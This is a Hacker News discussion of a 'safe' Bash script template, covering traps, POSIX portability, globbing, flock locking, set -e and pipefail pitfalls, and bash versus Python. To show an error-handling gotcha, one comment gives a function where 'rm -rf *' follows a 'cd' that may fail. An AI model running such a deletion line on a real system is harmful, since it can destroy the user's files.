  trap "echo exiting" INT
  sleep 1h

But to your point, yes, how to actually know that without doing trial n' error & stackoverflow.

Thanks for the `sleep 1h`, didn't know that you could do hour as unit :)

(edited: turned out INT is enough to trap)

Nope, INT is (generally) too specific :)

Sometimes of course, you just want to run something on SIGINT and not on normal exit, SIGHUP or whatever. But maybe the main use case for trap is implementing try/finally logic and you really want it to fire whenever the shell exits, not matter how (to clean up resources like temporary files). Bash's `trap EXIT` mostly does what you want ("run this when the shell exits"), but writing something that behaves this way across shells (and doesn't fire multiple times etc). is amazingly painful.

Ok, I though it was to catch CTRL-c :)

trap EXIT, does work for me in ash/dash/bash, though, when just letting the code flow exit with and without errors.

Not sure your use case, but I can for sure concur that traps are very painful to get right, especially when getting into child/grandchild processes land, taking terminal session, etc in regard.

It would be nice if bash were not a moving target. I have run into several bash incompatibilities in real life. Bash on macOS differs substantially from bash on Linux because it's much older. But bash is also generally somewhat poorly designed, leading to lots of aggravating and puzzling behavior for "corner cases" and this behavior not infrequently changes between versions.

So for example set -u for the longest time used to trigger on defined but empty arrays (which is hardly an obscure edge case), but what workarounds are possible differs quite a bit between versions:

https://gist.github.com/dimo414/2fb052d230654cc0c25e9e41a965...

Yeah, I agree..

I was listening to the Command Line Heroes podcast the other day, about Bash. First version was stored on tape. So it has some legacy, hehe. Already then the requirement was to be backwards compatible with sh, so yeah, corner cases are around for sure.

If writing bash I do aim at version 3, because as you say they got that on MacAttack.

I'll target bash (version checks are easy enough if necessary) instead of whatever happens to be /bin/sh. It's no problem for me to install bash wherever I need it, it provides some features I use, and I don't have to concern myself with POSIX implementation differences.

https://stackoverflow.com/questions/11376975/is-there-a-mini...

If you need some bash specific features, I'm not going to argue with that.

In my experience, having portability of the script is quite nice when not necessarily controlling the environment it is going to run in, and aiming for ash/dash/bash does take it a long way.

> The Bashism is seldom needed

I wish that were true. But posix shell lacks two fairly vital features: sane trap and process redirection. In an ideal world the posix comittee would just fix that, but I won't hold my breath.

It sounds like you need Bash then :)

I totally agree Bash has some powerful features, some I go out of my way to reimplement in sh (as for example string operations [0]). But not all can ofc be replicated then bash it is.

Maybe then: sh->bash->python/perl

[0] https://gitlab.com/space-sh/string/-/blob/master/Spacefile.s...

I was going through the changes introduced in Bash 5.1, and to my surprise, it mentioned[1] that process substitution is now enabled in POSIX mode. I wondered if that means POSIX sh now supports it, but I haven't been able to find evidence for that, neither in the POSIX spec nor in the bug tracker of POSIX mailing list archives.

Similarly, I remember reading about POSIX sh supporting arrays at some point in the future, but for the life of me, I can't find any evidence for this either.

[1]: https://git.savannah.gnu.org/cgit/bash.git/tree/CHANGES#n538

Arrays in shells generally suck (and behave quite different between different shells, e.g. zsh arrays are nothing like bash arrays), so I hope they don't make it into posix. OTOH, process substitution is a perfectly elegant and nice feature that fits well into the original design of bourne shell, removing an obvious limitation of pipes. It also behaves pretty much the same across shells that have it, so it should be much easier to standardize.

What does this do in a directory containing no .txt files?

    for f in *.txt; do
        echo $f
    done

Surprisingly, Bash still executes the body of the loop once, with f containing the literal string "*.txt". This behavior is controlled by the "nullglob" option, which hardly anyone ever sets.

I encountered this error a few weeks ago while trying to convert a folder of .webp files to .png. God, I love Bash.

I would argue that this is continent for interactive use. It means I don't have to quote as many things and usually gets a reasonable error if I did intent on matching things.

But yes, for scripts you are better served by nullglob.

See https://mywiki.wooledge.org/BashPitfalls for a large collection of similar edge cases.

(Recently discussed on HN: https://news.ycombinator.com/item?id=24401085)

There is a lot of "better write this in python"-ism here, and while I agree with the general sentiment that a more complex script shouldn't be written in bash, there are a ton of use cases where it is preferable to have it written in bash. So thank you for this post. It was very educational.

For when things go wrong in your bash script, I really like the following:

  # Enable verbose logging of the bash script
  PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}:   '
  set -x

This improves the tracing function greatly (at the cost of much higher verbosity) in that you get the filename, function, and line number in the output.

If your argument for using the shell (as opposed to a real programming language such as Python) is portability, writing a shell script that is not POSIX compliant literally defeats the point.

Also, 100 lines of UX-related bloat hardly classifies as "minimal".

> writing a shell script that is not POSIX compliant literally defeats the point.

Your argument is invalid. Even if the script isn't posix compliant you are comparingb portability with regards to the availability of bash vs python binaries on your target machine. Do you have data to support python is more likely to exist in linux machines than bash?

I think the argument made here is that choosing bash over python because of portability doesn't square with using non-POSIX-compliant bash commands.

> Do you have data to support python is more likely to exist in linux machines than bash?

That's not what I'm saying. I never claimed Python was more widely supported that Bash, in terms of this argument you should use neither, that's the whole point.

What I'm saying is that it does not make sense to use Bash over e.g. Python in favor of supporting a wider range of machines while at the same time limiting support to Bash environments when you could use POSIX instead which is a subset of Bash and therefore more widely supported than Bash and Python.

Do you have data to prove that POSIX shell less likely to be supported than Bash and Python respectively? Otherwise I don't see how my argument is invalid.

Of course Bash support is larger than Python support (that's what you seem to be saying), and therefore even a Bash-specific script is more portable. What I'm suggesting is that it's contradictory to stop there when you could simply drop the bashisms and go for full POSIX compliance for even more portability.

That said, if I'm misunderstanding you, please point out how so.

No thats a fair argument. I didn't quite get it initially. I still find the template usefull for my personal usecases but I also get your point

There's also the fact that while Bash is common on Linux, it's not generally the default shell for the BSDs or other UNIXes. But most of them will have Python installed. Also it's easier to use Python on Windows than a POSIX shell, though neither is present by default.

I noticed python is somehow sucked as an accidental dependency of unrelated packages. How do I find the culprit?

POSIX has multiple Turing complete utilities that can be used in tandem. Its not a very fair competition. Many of the primitives involved are simply not primitives of higher level languages. Write a python script to remove blank lines from standard input. In awk it takes 5 non-whitespace characters (including 'awk'). Use awk to remove blank lines from your python code when you need to paste it into a terminal. Many python developers have a terrible time from the command line because they do not use the shell to help themselves out.

A lot of people in this thread seem to share my desire to replace some of what bash does with scripts. Which is why I wrote a utility to allow writing scripts in-between pipes [1].

The basic idea is to call this tool anytime you would be setting up a complex chain of unix pipes, and instead do the scripting in a an interactive environment that allows you to see output as you type. It's just a toy implementation right now and only supports python, but could eventually support any scripting environment (even bash).

I don't really see this as a serious tool, but it can be useful for the odd shell job. Or just for those who like immediate evaluation on every key stroke ;)

[1]: https://github.com/CalebJohn/shell-coupler

I think its almost hilarious that something calling itself a "safe script template" doesn't even spend a couple of lines dealing with the possibility of race conditions (e.g. a locking process so that if, as is almost inevitable, my script gets put in a cronjob, it doesn't run when already running).

The four lines the script wastes on setup_colors() - something that has nothing to do with "safety" - could easily be used for a basic locking process.

While I find the "almost hilarious" kind of overly snarky, I have my own version of this that has the race condition check. Basically uses `mkdir $THISBIN.lock` line that gives me an atomic way to create or check for existence of a logical semaphore, and provides me with a scratch area. The trap'd cleanup function removes it (which when debugging, and I use that scratch area, is inconvenient, but <shrug>)

Read to the end before screaming. I do this:

  exec >>$log_file 2>&1
  if ! flock --exclusive --nonblock 1
  then
    log "unable to get exclusive lock, aborting"
    exit 1
  fi

Which redirects standard output to a log file, then tries to get an exclusive lock on it. The lock is created by the flock subprocess, but continues to exist until the script exits and closes that file descriptor.

This means there can only be one process writing to a given log file at a time. For me, that is the right granularity of locking - i have several cron jobs running this script, but with different arguments, and writing to different log files.

flock isn't all platforms unfortunately, doesn't exist on MacOS.

Quite true. On OS X, this script will do the right thing and not run until you get a proper computer.

I like the idea of a separate lock/semaphor per input args. Haven't needed that yet but I can see where I might.

Well, I agree with your cron argument. On the other hand - sometimes I have some utility scripts, for example to trigger some processing, that I want to run multiple times at the same time, with different arguments. So lock is not a universal thing for me. (I'm the article author btw)

Sure; my template is a one-size-fits-all thing, so if I know I'm not worried about race conditions for a file I just remove that bit.

This is my feeling, too. Race conditions, misunderstanding globbing, whitespace in path names - these are the main sources of errors in Bash scripts I come by.

whitespace in path names

And more generally, the arcane rules for quoting, substitutions, parameter parsing, running other processes, and how all of these interact.

What's the best way to handle race conditions?

https://linux.die.net/man/1/flock

Interesting, but it looks like an external dependencies, not something that's installed by default :-(

By default where? I think it comes with coreutils, so for instance it'd be pretty hard to get a Debian installation without it, but maybe you have a more exotic system?

Hmmm, maybe I need to check again. Thanks for the pointer!

This script is too much boilerplate and opiniated for me. I maintain a snippet with the most important settings for safe and robust shell script execution: https://gitlab.com/-/snippets/1968838 I'm now thinking of adding the trap cleanup boilerplate to my snippet as well, as it tends to get overlooked too often.

So just checking my ~/bin directory tree, and the median line count for my 287 scripts is 4. I am unlikely to add this framework to these.

Here is one example called 'date8sl.sh':

  #!/bin/sh
  date +%Y/%m/%d

This gives the date in a nice slash delimited form, suitable for creating date-structured directories, as in

  mkdir  -pv $(date8sl.sh)

The longest of the useful ones is 22 lines.

My tendency is to put anything more complicated in code, these days preferring sbcl lisp with :inferior-shell, :cl-readline. Also occasionally python.

I'm just uncomfortable with shell scripts long enough to benefit from this framework.

little one liners like that are arguably better implemented as aliases

What advantage do you find with aliases? I like that the shell commands are "one file does one thing."

> This line does its best to define the script’s location directory, ~~and then we cd to it. Why?~~ (struck through in original)

I've done this to make little bash utilities, and while it's cool when it works, it really doesn't work.

Never try to guess the script's location. You're adding very weird, broken, magical behavior with no way to test it. So keep it simple and write these scripts to expect help from the user.

If you need resources for a bash script, expect them to be in the working directory, or a standard directory, or have the user pass paths in through environment variables or other means.

Yes, it's gross and inelegant. It also won't break mysteriously.

What license is the author releasing it under? I had a look on Maciej's blog and the gist, but couldn't see. I want to save it to possibly use in my projects.

Hey, I've added MIT license for all my gists (https://gist.github.com/m-radzikowski/d925ac457478db14c2146d...), so feel free to use it.

Not sure how to put it into the template, but do use shellcheck.

At least a comment. If you use CI that should run shellcheck to check all scripts.

Shorter minimal safe script template: python.

Seriously, give up on OS-specific, version-nightmare, quoting-hell, hairy-corner-behaviour shell scripts.

I used to install Cygwin and Vim on all new Windows computers. I now install Python and VSCode on all OS. My life has never been better.

I have over the years developed a similar template. It’s got usage, arg parsing, etc.

One thing I find incredibly useful, which doesn’t appear in the minimal template presented here (unless I’ve missed it), is the ability to run the program in a mode where it prints out debug info like variables getting set, function names and line numbers.

I add this to the start of every bash script:

if [ -n "$DEBUG" ]; then echo "$0: Setting bash option -x for debug" PS4='+($(basename ${BASH_SOURCE}):${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' set -x fi

Then to run with debug info printed just set DEBUG=1

Ideally there would be a debugger where you could step through code, but this is the closest I’ve found to that.

This website is an excellent example why I browse the web with JS off by default these days. When I turned it on, an obnoxious icon appeared, refusing to go away. When I hovered on it, another box appeared with an x in the corner. I moved the mouse to close it, and the box disappeared. The obnoxious icon, however, stays as before.

I'm really glad we are still able to turn JavaScript off these days. I'm pretty sure in the next years more and more so-called "developers" switch to text rendering by JS, rendering more websites unusable.

Why did you turn it on? For testing?

Yes, I sometimes turn it on to see what I "lose" by having it switched off by default.

> I'm pretty sure in the next years more and more so-called "developers" switch to text rendering by JS,

This has been done for years on lots of sites.

Of course, but it hasn't become the norm yet. I'm afraid this day will eventually arrive as most user-hostile techniques depends on JS being on, so they need to find a way to force it on users.

Bash is kinda like the last remnants of Perl. I know it's not perl, but it's similar. And it has similar conventions. And like Perl, it gets shit done pretty concisely. It's also a write-only language (easy to write / hard to read). I do find it interesting that bash has kinda become the DevOps root tool. I don't think DevOps would have had it's moment without Bash or if bash was similar to DOS Batch files instead, for example.

I agree with the DevOps theory, but precisely for the opposite reason. People wrote all kinds of automated tools etc. to replace weird BOFH shell scripts. Almost no syntactical improvements upon Bourne sh (which was a weird Algol-like in C-land), but introducing plenty of incompatibilities because other systems might have just regular sh or an older version of bash.

Compared to Korn Shell or yes, Perl, it's a major step back. (I'd also say it's a lot harder to write than read, given that once you're reading a working script, you've already got most of the whitespace issues and badly formed command argument worked out).

The Unix commandline as a way to pipe together commands was a pretty great idea. But every inch you step away from that abstract ideal is just mired in a geological accumulation of oddities and bad design (Plan 9 probably being the closest ever attempt of making that work less painfully)

TBH, calling Bash 'write-only' makes me a bit sad. Bash should be very easy to read for people familiar with the command line.

Except for boilerplate (e.g. set switches, documented in 'help set', but just ignore them if you're just reading) or if switches (documented in 'man test', but you really just need to memorize three or so) and a handful of commands that don't tend to be used outside of scripts -- all have a help or man page.

You could argue that DOS batch files are hard to read too.

Of course, bash's tacked on features -- regex, array/hash syntax, etc. can get a bit hairy, but it's all highly documented.

To me, bash is more the polar opposite: hard* to write, easy to read.

* not that hard

I have developed a similar library before: https://github.com/rust-shell-script/bash_cmd_lib/blob/maste... which can do temp files cleanup, different levels ofreporting and redirecting all error msgs into log file automatically.

I'm this blog post (and script) author. I got some opinions and code review feedback here, on Reddit, and blog itself. And I appreciate it!

I updated the script template applying the most commonly mentioned things, like removing "cd" to the directory. See details in the article.

This reads like perhaps a bad copy/paste garbled the sentence:

"Just remember that the cleanup() can be called not only at the end but as well having the script done any part of the work. "

I have a lot of experience writing Bash scripts and I regret It.

Now that I have decent enough mastery of python to be dangerous I realize that you will get to a point where you wish you had access to all the niceties of a decent programming language.

Any shell script over 50 lines is suspect.

> Now that I have decent enough mastery of python to be dangerous I realize that you will get to a point where you wish you had access to all the niceties of a decent programming language.

What decent language is it, then? Or are you implying that it doesn't exist?

I was unclear: get to a point in a bash script where I wished I started out in Python.

Shameless plug; I now use Golang for all my scripting needs. I wrote about it and shared a sample here: https://news.ycombinator.com/item?id=24392172

> The downside would be to have to always attach this second file everywhere, losing the “simple Bash script” idea along the way.

Put it on GitHub and curl it from there with checksum. Cache the file somewhere and lookup cache first.

This is awesome. Question:

  [[ -z "${NO_COLOR-}" ]] && [[ "${TERM-}" != "dumb" ]]

Is it not safe to leave off the double quotes here, because it is inside [[ ]] ?

No. I'm not sure what the "-" is doing in "${TERM-}", but if $TERM was for example set to "-z stringhere" then that would be interpreted as two arguments to "[[" instead of one, and would ensure that it always returns false, for example

The "-" is here to not error when the variable does not exist (as the topmost set is configured to trigger error on unset variables). It is meant to substitute the (empty) string on the right if the left variable does not exist.

There's normally no need for ${var-} to get default values, and you can put && inside. I'd write that as:

    [[ -z $NO_COLOR && $TERM != dumb ]]

As another comment pointed out, they're erroring on unset values. I don't think the line noise is worth it, but it will catch spelling mistakes, I guess.

Is there a modern alternative for bash that one can use to write bash script without having to write python? Something that looks decent if you are writing an if else, or for loop, etc.

Nothing that is common and built in that meets these requirements and is very legible AFAIK.

I tend to write most of my scripts in PHP so I don’t have much of a leg to stand on other than that it is:

- very scriptable. - common in the environments I work in. - can easily shell out. - can be either completely loosely typed or more strongly typed as you wish. - has an extensive standard library.

It does not look minimal. For example, strip the colors

I love this template. I created one on my own but lacks parse params. However, I normally use Python script for anything needs more than 2 args.

Prefer environment variables instead of command line options for bash scripts. More readable and maintainable and testable.

Please consider writing your scripts in POSIX sh instead of bash. The spec is here, it's pretty easy to understand and use:

https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...

Most of your scripts are probably already 90% POSIX compatible and could bridge the gap with minor modifications.

Thanks for the solid article! Reminds me about some bash writing that I have been avoiding.

Look... it's not that hard to get the script dir, no cd, no child process...

script_dir=${0%/*}

Does anyone write their shell scripts in JavaScript, calling them with node?

Bash has let you indent heredocs with `<<-` since version 4!

Everyone is stuck on the 3.2 BSD version of bash. T_T

It should be pushd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1

not cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1

with a matching popd at the end

Otherwise it can screw up parent scripts

Not unless the script is source'd, which is very unlikely.

Really scripts should avoid called `cd` or `pushd`/`popd` wherever possible. It's a lot better to just work with absolute directories, i.e. as someone else pointed out:

    DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"

no no no... god this is gross and awful

  SELF=${0##*/}    # aka basename
  DIR=${0%/*}      # aka dirname

Running a script as sh script.sh returns only script.sh, thus, you've already got SELF, but you wouldn't get DIR.

but, you don't need it since you are already there, and can just use $PWD (no need for `pwd`) from that point onward.

this is not minimal, it belongs in a bash framework.

A lot of people here are leaning towards just writing the script in Py.

Could somebody please educate me on why bashing it would be preferable?

In devops nowadays:

Bash is a prototype to the app in Python that is a prototype to the app in Golang.

which is a prototype to the one in Rust.

Which is a prototype to the small C utils that solve the problem better, and bash again

Small Rust utils are better than C equivalents. Ripgrep is lot faster than grep, despite slower regex engine.

I look forward to the slow but steady reinvention of various coreutils in Rust or Go. Rg-ripgrep is better than grep. Fd-find is better than find. Exa is better than ls/tree. Fzf has no equivalent. I'm still looking for a ping that lets me timeout less than 1 second.

There are so many assumptions baked in to the early tools that a complete rewrite just bypasses.

As far as I see, ripgrep isn't small - a multimegabyte heavily compressed package.

  $ ldd /usr/bin/grep
 linux-vdso.so.1 (0x00007ffed59ab000)
 libpcre.so.1 => /lib64/libpcre.so.1 (0x00007f387c8cf000)
 libc.so.6 => /lib64/libc.so.6 (0x00007f387c705000)
 libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f387c6e3000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f387c9aa000)

  $ du -ch /usr/bin/grep `readlink -f /lib64/libpcre.so.1` `readlink -f /lib64/libc.so.6` `readlink -f /lib64/libpthread.so.0`
  168K /usr/bin/grep
  484K /usr/lib64/libpcre.so.1.2.12
  3.1M /usr/lib64/libc-2.31.so
  312K /usr/lib64/libpthread-2.31.so
  4.0M total

I mean https://github.com/BurntSushi/ripgrep/releases/download/12.1... - /usr/bin/rg 5mb executable. And I think it was something about 20mb in first release.

Only because I didn't bother to strip the binary. The binary you're linking to is statically linked, which includes PCRE2 and Rust's regex engine, among other things. The GP's point is that if you look at all of grep's pieces, it comes in at a similar size.

Overall, I don't even know what the point of this kind of questioning even is.

What makes you say ripgrep has a slower regex engine?

Compare performance of Rust #7 (PCRE2) vs Rust #6 (regex) at benchmarks game: https://benchmarksgame-team.pages.debian.net/benchmarksgame/...

That's a single benchmark. Before regex-redux was regex-dna, and Rust's regex engine was faster than PCRE2 on that benchmark. So how does that change your conclusion?

The regex crate has many more benchmarks: https://github.com/rust-lang/regex/blob/master/bench/log/07/... and https://github.com/rust-lang/regex/blob/master/bench/log/07/... for example.

And then there are things like this which can impact the performance of real world use cases: https://github.com/BurntSushi/ripgrep/blob/master/FAQ.md#pcr...

Please don't draw sweeping conclusions about the comparative performance of regex engines from a single benchmark.

It wouldn't

Sometimes pipelines are the right tool for the job.

> Could somebody please educate me on why bashing it would be preferable?

Bash is a much better glue language than python. If all your script does is to call other programs that do all the work, it is very likely you can write it as a single line shell script. In python, you'll have to import libraries, call functions with many arguments, and whatnot.

If you have to parse output from one binary as input to another, I find it is way less error prone to use bash. There are subtleties to flushing output from processes in python that can lead to surprises.

I do: bash -> js -> (rarely ever get this far)

The bash step is fast to write as it subsumes all the process calling / management.

JS (or python) is a reasonable next step, often just a tight cli wrapper around a function to be called in bash that is hard to write in bash / is from a library. I find its normally easier to pack JS dependencies for these one offs than python, but both work.

Next step is perf/testing focused. Js works as a great first step here as the Promises & event loop let you get a whole bunch of perf naturally that is a pita to arrange in python.

Now you have a program laid out and usage tested that can be re-written in something else for real or percieved benefits (go, bash, c++, rust)

In general "use the right tool for the job" but arguments for Bash:

* Succinctness: When you mostly glue together other programs, Bash will often be shorter than Python.

* Familiarity/Ubiquity: If you're using a Unix-like you're already using Bash (probably; or another shell that's similar) as your main "REPL to the system". When you wanna automate a thing you can start off with what you've already been doing for that task and go from there. Similar story for experimenting when writing a script, though Python also has a REPL for that.

> Published by Maciej Radzikowski

This guy was dealt a bad hand by God.

It's a very nice template, some great gems in there, like cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1 .

My general issue, and it applies here too I guess, is that by the time I have 99 lines of Bash just as boilerplate,, +logic I might as well write it in Python. But if I just have to write Bash, I might use it one day.

tbh the first three lines are more than enough if you dont need arg parsing or special handling for interrupts. CI and the like where they are (repeated) one shots.

Notably the line you highlighted I do as SCRIPT_ROOT="$(cd $(dirname "${BASH_SOURCE[0]}") && pwd)"

This preserves the cwd of the invoker (for relative files etc) wholst giving you access to your asset files etc.

That forked process to do something that's built-in for free is one of the worst parts about it, the opposite of a gem.

> Just like JavaScript, it won’t go away easily.

No, not "just like." Whatever you think of JS the tweet above this quote doesn't apply-- I don't constantly have to look up how a function callback works, or how to do math.

To be "just like" shell scripting, you'd have to get JS devs to start regularly using `eval` in lots of unnecessary places, plus using arbitrary, inconsistent use of single-letter aliases for some of the core methods

I mean...

> set -Eeuo pipefail

Upper and lowercase! And the flag meanings aren't even explained in this article!

Edit: To be honest, this reflects my own mental model for shell commands: commandName -garblegooklegarblegookle myArg1 myArg2 etc..

    $ help set
    
    ...
          -e  Exit immediately if a command exits with a non-zero status.
          -E  If set, the ERR trap is inherited by shell functions.
          -u  Treat unset variables as an error when substituting.
          -o option-name
              Set the variable corresponding to option-name:
                           pipefail     the return value of a pipeline is the status of
                           the last command to exit with a non-zero status,
                           or zero if no command exited with a non-zero status

Hey, the flag meanings are explained in the article I linked in the post: > For details on what options exactly set -Eeuo pipefail changes and how they will protect you, I refer you to the article I have in my bookmarks for a few years now.

Link: https://vaneyckt.io/posts/safer_bash_scripts_with_set_euxo_p...

About "just like JavaScript" - it was sarcasm ;-) I write in TypeScript daily and still make fun of JS. But I agree, Bash is worse!

I can't stand pipefail, and I'm ambivalent about set -e. It usually does what you want, which is sometimes worse than never doing what you want. It's usually fairly straightforward to test for failure at the toplevel manually with something like "|| die 'useful message'"

What I would really like is if set -e would return from a function with an error (and if you wrap your entire function body in a subshell that's how it works). There are still some gotchas though: "false && true" will not cause an error exit, nor will "if someFunction; then ..." exit if someFunction encounters an error, which is a problem if you have e.g.:

    someFunction() {
      cd /some/path
      rm -rf *
    }

And expect "set -e" to prevent the remove command from running in the event of the CD failure.

Most shell scripts are short enough that you will notice the missing die in something like

    foo || die
    bar
    baz || die

And tools like shellcheck will flag dangerous commands that are missing an error check.

So, given a fairly short toplevel, set -e has minimal advantages, and it can't be trusted to work inside a function. Sounds pretty questionable to me.

Isn't that what set -E is for, when used with set -e?

So that an error in the function will also cause the script to terminate.

From bash manpage: -E If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment. The ERR trap is normally not inherited in such cases.

Nope, the -E has to do with the "trap" command. This example happily echoes "hello" to stdout:

    #!/bin/bash
    set -euE -o pipefail
    FOO=/this/does/not/exist
    foo() {
        cd "$FOO"
        echo hello
    }


    if foo; then true; fi

Well in that case it appears to be because of using "if foo"

But that might have been your point in the first place :) I wasn't aware of the change in behavior with an 'if' statement.

As a note, trap ERR had the same behavior as 'set -e' from my quick check.

This dies:

  #!/bin/bash
  set -euE -o pipefail
  FOO=/this/does/not/exist
  foo() {
      cd "$FOO"
      echo hello
  }

  foo
  echo We do not reach here

> I can't stand pipefail

Can you elaborate on this? I'm finding it difficult to think up a case where I would want a script to continue executing if a command in the middle of a pipeline failed.

    foo | head -n20

foo may or may not return an error due to the pipe closing, and it's not necessarily consistent each time, particularly if the output of foo is very close to what head will consume.

Reply on news.ycombinator.com